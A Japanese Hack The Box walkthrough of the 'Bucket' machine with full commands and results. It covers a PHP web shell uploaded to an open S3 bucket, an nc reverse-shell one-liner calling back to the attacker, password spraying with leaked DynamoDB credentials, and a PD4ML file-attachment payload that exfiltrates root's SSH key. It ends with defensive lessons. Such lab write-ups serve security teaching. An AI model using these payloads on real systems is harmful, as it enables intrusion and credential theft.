Hack The BoxのWriteup(Bucket)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Bucket — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)
→
bucket.htb / s3.bucket.htb
LocalStack S3公開バケット
→
PHP Webシェルアップロード
認証なし書込可能
→
www-data RCE
user.txt ✓
→
DynamoDB users漏洩
パスワード使い回し→roy
→
root所有 mod_itk アプリ
127.0.0.1:8000
→
PD4ML file:// 添付LFI
毎分リセットとの競合を回避
→
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.70.0
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
BASH
nmap -sV -sC -p 22,80 10.129.70.0
RESULT
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)

仮想ホストへのリダイレクトを確認

BASH
curl -s -i http://10.129.70.0/
RESULT
HTTP/1.1 302 Found
Location: http://bucket.htb/
BASH
echo "10.129.70.0 bucket.htb s3.bucket.htb" | sudo tee -a /etc/hosts
ℹ️
HTMLソース中の広告バナー画像タグを確認すると src="http://s3.bucket.htb/adserver/..." という参照があり、S3互換のサブドメインが存在することが判明。両ホスト名を /etc/hosts に事前登録しておく。
PHASE 2

LocalStack S3 公開バケットの発見

AWS CLI にダミー認証情報を設定

BASH
aws configure set aws_access_key_id test
aws configure set aws_secret_access_key test
aws configure set region us-east-1
ℹ️
LocalStack(AWSサービス群をローカルでエミュレートするツール)は実際の AWS認証を検証しないため、値さえ設定されていれば何でもよい(test/test)。

バケット一覧の取得と書込確認

BASH
aws --endpoint-url http://s3.bucket.htb s3 ls
RESULT
2026-09-27 11:34:07 adserver
🚨
重大発見: adserver バケットが認証なしで一覧取得でき、 後述の通り書込みも可能。広告バナー配信用に使われているこのバケットの 中身は Apache のドキュメントルート経由でそのまま公開・実行される構成になっている。
PHASE 3

PHP Webシェルアップロード → RCE & user.txt

悪性PHPファイルをS3バケットへアップロード

BASH (shell.php)
<?php if(isset($_REQUEST['cmd'])){echo '<pre>';system($_REQUEST['cmd']);echo '</pre>';} ?>
BASH
aws --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/shell.php
RESULT
upload: ./shell.php to s3://adserver/shell.php

Webシェル疎通確認(S3→Webサーバー間の反映待ち)

BASH
curl -s http://bucket.htb/shell.php?cmd=id
RESULT (1〜4回目)
404 Not Found
RESULT (5回目)
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
⚠️
アップロード直後は数秒間 404 Not Found が返る(S3バケットの内容が 実際のWebサーバードキュメントルートへ同期されるまでのタイムラグ)。1回失敗しても すぐに諦めず、数秒間隔で複数回リトライすること。

リバースシェルへ昇格

BASH
# リスナー
nc -lnvp 4444

# トリガー
curl -s -G --data-urlencode \
  "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f" \
  http://bucket.htb/shell.php
RESULT
connect to [10.10.15.200] from (UNKNOWN) [10.129.70.0] 46446
$ whoami
www-data

DynamoDBの資格情報漏洩を発見

BASH
ls /home
aws configure set aws_access_key_id test
aws configure set aws_secret_access_key test
aws configure set region us-east-1
aws --endpoint-url=http://localhost:4566 dynamodb list-tables
aws --endpoint-url=http://localhost:4566 dynamodb scan --table-name users
RESULT
/home 候補: roy

{"TableNames": ["users"]}

{
  "Items": [
    {"password": {"S": "Management@#1@#"}, "username": {"S": "Mgmt"}},
    {"password": {"S": "Welcome123!"}, "username": {"S": "Cloudadm"}},
    {"password": {"S": "n2vM-<_K_Q:.Aa2"}, "username": {"S": "Sysadm"}}
  ]
}
ℹ️
localhost:4566 はLocalStackの統合エンドポイント(S3/DynamoDB等すべてを 1ポートで提供)で、www-dataからも認証不要でアクセスできる。usersテーブルに 3組のユーザー名/パスワードが平文で保存されている。

パスワード使い回しでSSHログイン → user.txt

BASH
# DynamoDBのユーザー名(Sysadm等)ではなく、/home実在ユーザー(roy)に対して
# 3組のパスワードを総当たり
for pw in 'Management@#1@#' 'Welcome123!' 'n2vM-<_K_Q:.Aa2'; do
  sshpass -p "$pw" ssh roy@10.129.70.0 id
done
RESULT
Management@#1@#  → Permission denied
Welcome123!      → Permission denied
n2vM-<_K_Q:.Aa2 → uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)
✅
パスワード使い回し成功! DynamoDBに保存されたユーザー名(Sysadm)は SSHログイン用のOSアカウント名とは無関係だが、パスワードそのものは 実在のOSユーザー roy に対して有効だった。
BASH
ssh roy@10.129.70.0 "cat /home/roy/user.txt"
RESULT
b21ae6169d1bbd9fdd506f47d9477d42
user.txt — roy@bucket
b21ae6169d1bbd9fdd506f47d9477d42
PHASE 4

権限昇格の下調べ — root専用の内部Webアプリ

roy専用ACLが付与されたroot所有ディレクトリを発見

BASH
getfacl /var/www/bucket-app
RESULT
# owner: root / group: root
user::rwx
user:roy:r-x
group::r-x
other::---
ℹ️
/var/www/bucket-app は root 所有だが、roy 専用のACLで読取・実行権限が 明示的に付与されている。中身を覗ける = そこで動くアプリの仕組みを解析できる。

mod_itk による root権限のローカルWebアプリを発見

BASH
cat /etc/apache2/sites-available/000-default.conf
RESULT (抜粋)
<VirtualHost 127.0.0.1:8000>
    <IfModule mpm_itk_module>
        AssignUserId root root
    </IfModule>
    DocumentRoot /var/www/bucket-app
</VirtualHost>
🚨
重大発見: Apache の mod_itk モジュールにより、 127.0.0.1:8000(ローカル限定)で動くこのバーチャルホストだけは root権限でPHPが実行される。

アプリのソースコードを解析

BASH
cat /var/www/bucket-app/index.php
RESULT (要旨)
if ($_POST["action"] === "get_alerts") {
    $client = new DynamoDbClient([... 'endpoint' => 'http://localhost:4566']);
    $iterator = $client->getIterator('Scan', [
        'TableName' => 'alerts',
        'FilterExpression' => "title = :title",
        'ExpressionAttributeValues' => [":title" => ["S" => "Ransomware"]],
    ]);
    foreach ($iterator as $item) {
        $name = rand(1,10000).'.html';
        file_put_contents('files/'.$name, $item["data"]);
    }
    passthru("java ... -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
🚨
title=Ransomware のDynamoDBアイテムの data(HTML文字列)を ファイルへ書き出し、PD4ML(HTML→PDF変換ライブラリ)で root権限 でPDF変換する。PD4MLには <pd4ml:attachment src="file://..."> という 任意ローカルファイル添付タグがあり、これを悪用すればLFIが成立する。
PHASE 5

落とし穴 — DynamoDBを毎分リセットするsystemdタイマー

最初の試行がHTTP 500で失敗

BASH
# alertsテーブルを自作成(初期状態には存在しない)
aws --endpoint-url=http://localhost:4566 dynamodb create-table \
  --table-name alerts \
  --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \
  --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \
  --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5

# 悪性アイテムを投入
aws --endpoint-url=http://localhost:4566 dynamodb put-item \
  --table-name alerts --item file:///tmp/item.json

# トリガー
curl -s http://127.0.0.1:8000/index.php -d 'action=get_alerts' -v
RESULT
< HTTP/1.0 500 Internal Server Error
< Content-Length: 0
⚠️
create-table・put-item はいずれもエラーなく成功していたのに、直後の トリガーだけが原因不明の500エラーになる、という不可解な現象が発生した。

原因調査 — alertsテーブルが消えている

BASH
aws --endpoint-url=http://localhost:4566 dynamodb list-tables
RESULT
{"TableNames": ["users"]}   ← alertsが消えている!
BASH
systemctl list-timers
RESULT
NEXT ... LEFT   LAST ... PASSED  UNIT                 ACTIVATES
...    53s left ...     5s ago  minute-timer.timer   minute-timer.target
BASH
cat /etc/systemd/system/minute-timer.timer
cat /etc/systemd/system/restore.service
RESULT
[Timer]
OnCalendar=*:0/1          # 毎分 :00 に発火

[Unit]
Description=Restore dynamodb and s3
[Service]
ExecStart=/root/restore.sh
🚨
真の原因判明: /root/restore.sh が毎分ちょうど0秒に systemdタイマーで発火し、DynamoDB(とS3)を初期状態へ強制リセットする。 create-table〜put-item〜curlトリガーの間に分境界(:00)を跨ぐと、 alertsテーブルごと消え去り、PHP側は ResourceNotFoundExceptionで未捕捉例外→HTTP 500になる。

対策 — リセット直後に同期して一括実行

NOTE
対策は2つ:
  1. 各SSHコマンドを分離せず、create-table + put-item + curlトリガー +
     PDF取得(base64)を「1回のSSHセッション内」で&&チェーンして実行し、
     処理全体の所要時間を最小化する(数秒程度に短縮できる)。
  2. さらに安全のため、リモートの現在時刻を取得し、次の分境界(:00)の
     直後まで待ってから一括コマンドを実行することで、実行開始から
     次のリセットまでほぼ丸々1分弱の猶予を確保する。
  3. それでも運悪く失敗した場合に備え、複数回リトライする設計にする。
PHASE 6

PD4ML file:// 添付LFI → root.txt

悪性DynamoDBアイテムの構築

BASH (item.json)
{
  "title": {"S": "Ransomware"},
  "data": {"S": "<html><pd4ml:attachment src=\"file:///root/.ssh/id_rsa\" description=\"test\" icon=\"Paperclip\"/></html>"}
}
ℹ️
title=Ransomware は index.php のFilterExpressionが要求する固定値。 data に仕込んだ pd4ml:attachment タグの src に 読み出したい任意ファイルのパスを指定する。

分境界に同期してから一括実行

BASH
# リモート時刻を取得し、次の :00 直後まで待機
epoch=$(ssh roy@10.129.70.0 "date +%s")
wait=$(( 60 - (epoch % 60) + 2 ))
sleep "$wait"

# 1回のSSHセッションで一括実行(create-table失敗は無視して継続)
ssh roy@10.129.70.0 '
  export HOME=/tmp/.aws_bucket &&
  aws --endpoint-url=http://localhost:4566 dynamodb create-table \
    --table-name alerts \
    --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \
    --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \
    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 >/dev/null 2>&1;
  aws --endpoint-url=http://localhost:4566 dynamodb put-item \
    --table-name alerts --item file:///tmp/.aws_bucket_item.json >/dev/null 2>&1 &&
  curl -s http://127.0.0.1:8000/index.php -d "action=get_alerts" >/dev/null 2>&1 &&
  base64 -w0 /var/www/bucket-app/files/result.pdf
' > result_b64.txt
RESULT
(base64エンコードされたPDFデータが出力される。所要時間は分境界からわずか約8秒)
✅
成功! 分境界直後に同期して一括実行することで、 restore.sh による毎分リセットとの競合を回避できた。

PDFをデコードし、pdfdetachで秘密鍵を抽出

BASH
base64 -d result_b64.txt > result.pdf
pdfdetach -list result.pdf
pdfdetach -savefile id_rsa -o root_id_rsa result.pdf
chmod 600 root_id_rsa
RESULT
1 embedded files
1: id_rsa
ℹ️
pdfdetach は poppler-utils 付属のPDF添付ファイル抽出ツール。 PD4MLが生成したPDFの中に、/root/.ssh/id_rsaの中身がそのまま 添付ファイルとして埋め込まれている。

秘密鍵でSSHログインしroot.txt取得

BASH
ssh -i root_id_rsa root@10.129.70.0 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
b91786d2656d079e501aa3c3ef2876ca
root.txt — /root/root.txt
b91786d2656d079e501aa3c3ef2876ca
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — roy@bucket
b21ae6169d1bbd9fdd506f47d9477d42
root.txt — /root/root.txt
b91786d2656d079e501aa3c3ef2876ca

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LocalStack S3 公開バケット adserverバケット (S3互換ストレージ) 認証なし任意ファイル書込 → RCE Critical PHP Webシェルをアップロードし、Webサーバー経由でそのまま実行
DynamoDB平文資格情報 + パスワード使い回し usersテーブル 横展開(www-data → roy) High DynamoDBの平文パスワードが実在OSユーザーのログインパスワードと同一
PD4ML pd4ml:attachment file:// LFI root権限で動くbucket-appのPDF変換処理 任意ローカルファイル読取(root権限) Critical DynamoDBアイテム経由でHTMLペイロードを注入しPDF添付として秘密鍵を抜き出す
毎分DynamoDBリセットとのタイミング競合 /root/restore.sh (systemd minute-timer) 攻撃成功率の低下(環境要因) Medium 攻撃を1回のSSHセッションに凝縮し分境界直後に同期することで回避

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhostリダイレクト追跡bucket.htb / s3.bucket.htb発見
2S3発見aws CLI + ダミー認証情報adserverバケット(書込可能)
3エクスプロイトPHP Webシェルアップロード + DynamoDB scanuser.txt(roy)、資格情報3組
4権限調査getfacl + Apache mod_itk設定確認 + ソース解析root所有アプリの内部ロジック判明
5トラブルシューティングlist-tables + systemctl list-timers毎分リセットの発見と対策設計
6権限昇格PD4ML file:// LFI + pdfdetachroot.txt、rootのSSH秘密鍵

学んだ教訓 & 防御策

問題点防御策
S3互換バケットが認証なしで書込可能 LocalStack/実AWS問わず、バケットポリシーで書込操作を許可されたIAMプリンシパルのみに制限する。
アップロードされたファイルがそのままWebサーバーで実行可能 アップロード領域と実行可能な領域を分離する。アップロードディレクトリではPHP等のスクリプト実行を無効化する。
DynamoDBに平文パスワードを保存し、しかも別のOSアカウントで使い回している パスワードは常にハッシュ化して保存し、システム間でのパスワード使い回しを禁止する運用ルールを徹底する。
PD4ML(サードパーティHTML→PDF変換ライブラリ)が任意ローカルファイル添付を許可 信頼できない入力をHTML→PDF変換にかける前に、危険なタグ(pd4ml:attachment等)をサニタイズ・無効化する。変換処理はサンドボックス化されたコンテナ内で実行する。
root権限の内部アプリが127.0.0.1限定とはいえ、非rootユーザーから読み取り可能なソースを持つ root専用アプリのソースコードは最小権限のユーザーからも不可視にする(ACLの読み取り権限も含め見直す)。
HackTheBox: Bucket | 完全攻略レポート